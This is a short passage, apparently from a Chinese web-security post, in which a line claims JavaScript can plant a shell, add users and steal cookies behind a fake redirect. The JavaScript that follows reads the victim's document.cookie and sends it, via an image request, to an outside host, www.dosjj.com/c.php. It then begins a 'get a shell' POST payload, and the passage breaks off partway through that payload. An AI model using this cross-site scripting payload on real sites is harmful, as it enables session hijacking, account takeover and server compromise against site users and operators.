Js里可以写shell,添加用户,偷取COOKIE然后模拟出真正的转向 
  xmlhttp=poster(); 
  cookie=document.cookie; 
  login=cookie.indexOf(‘password’)==-1?0:1; 
  tolocation=’https://www.jb51.net/’; 
  //get cookie 
  x=new Image(); 
  x.src=”www.dosjj.com/c.php?c=”+escape(document.cookie); 
  //get a shell 
  data=”txaContent=